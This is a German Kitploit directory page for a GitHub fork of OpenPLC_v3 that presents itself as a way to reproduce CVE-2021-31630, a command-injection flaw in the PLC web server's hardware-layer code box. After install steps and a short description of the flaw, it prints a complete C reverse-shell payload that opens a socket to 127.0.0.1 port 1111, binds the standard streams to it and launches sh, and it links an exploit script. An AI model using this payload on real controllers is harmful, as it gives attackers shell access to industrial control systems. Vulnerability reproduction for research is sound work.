Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
OpenPLC_v3 — So reproduzieren Sie CVE-2021-31630 | Kitploit
Tools/GitHubGitHub/tranquac/openplc_v3
SchwachstellenanalyseCode-AnalyseExploitationSCADA/ICS-SicherheitWebanwendungs-ExploitationCommand and Control
GitHubtranquac/openplc_v3

OpenPLC_v3

So reproduzieren Sie CVE-2021-31630

Repository anzeigen
vor 9 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

OpenPLC Runtime version 3

Einführung

Build Status Build status

OpenPLC ist eine quelloffene, softwarebasierte, benutzerfreundliche speicherprogrammierbare Steuerung. Unser Fokus liegt auf der Bereitstellung einer kostengünstigen industriellen Lösung für Automatisierung und Forschung. OpenPLC wurde in vielen Forschungsarbeiten als Framework für industrielle Cybersicherheitsforschung verwendet, da es die einzige Steuerung ist, die den vollständigen Quellcode bereitstellt. Das OpenPLC-Projekt umfasst drei Unterprojekte:

  1. Runtime
  2. Programming editor
  3. HMI builder

Installation

root@kitploit:~
mkdir /opt/PLC
cd /opt/PLC
git clone https://github.com/tranquac/OpenPLC_v3.git
cd OpenPLC_v3
./install.sh [platform]

Wobei [platform] sein kann:

win - OpenPLC unter Windows über Cygwin installieren

linux - OpenPLC auf einer Debian-basierten Linux-Distribution installieren

docker - Wird vom Dockerfile verwendet (d.h. ruft nicht sudo auf)

rpi - OpenPLC auf einem Raspberry Pi installieren

custom - Alle spezifischen Paketinstallationen überspringen und versuchen, OpenPLC zu installieren, vorausgesetzt, Ihr System erfüllt bereits alle Abhängigkeiten. Diese Option kann nützlich sein, wenn Sie OpenPLC auf einer nicht unterstützten Linux-Plattform installieren möchten oder die Abhängigkeitspakete zuvor manuell installiert haben.

CVE-2021-31630

CVE-2021-31630 ist eine Schwachstelle vom Typ Code/Command Injection im WebServer von OpenPLC (Version v3, die von der Community weit verbreitet ist). Der Fehler liegt in der Funktion zum Laden/Bearbeiten von Code in der /hardware-Schnittstelle (Hardware Layer Code Box), wo Eingabedaten nicht ausreichend gefiltert/bereinigt werden, bevor sie auf der Serverseite verarbeitet werden, was zur Ausführung von Code unter den Berechtigungen des Webserver-Prozesses führt. Die Schwachstelle wurde 2021 veröffentlicht und hat in öffentlichen Schwachstellendatenbanken eine hohe Schwere.

Technische Beschreibung (auf Verteidigungsebene): Die Webschnittstelle akzeptiert einen vom Benutzer eingegebenen "Hardware-Layer-Code". Diese Daten werden dann von Serverkomponenten verarbeitet, die in der Lage sind, zu kompilieren/zu normalisieren oder in einen Befehlskontext zu überführen, ohne eine Überprüfung, Filterung von Sonderzeichen oder strenge Einschränkungen durchzuführen. Unter bestimmten Bedingungen (z. B. wenn die Daten in eine Systembefehlszeichenfolge eingefügt oder direkt an eine Codeverarbeitungsfunktion übergeben werden) kann ein Angreifer Steuerungssequenzen einfügen, die den Ausführungsablauf ändern.

root@kitploit:~
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};

void initCustomLayer(){}

void updateCustomIn(){}

void updateCustomOut()
{
    int port = 1111;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"sh", NULL};
    execvp("sh", argv);

    return 0;       
}

Exploit-Code: cve-2021-31630.py

Tool herunterladen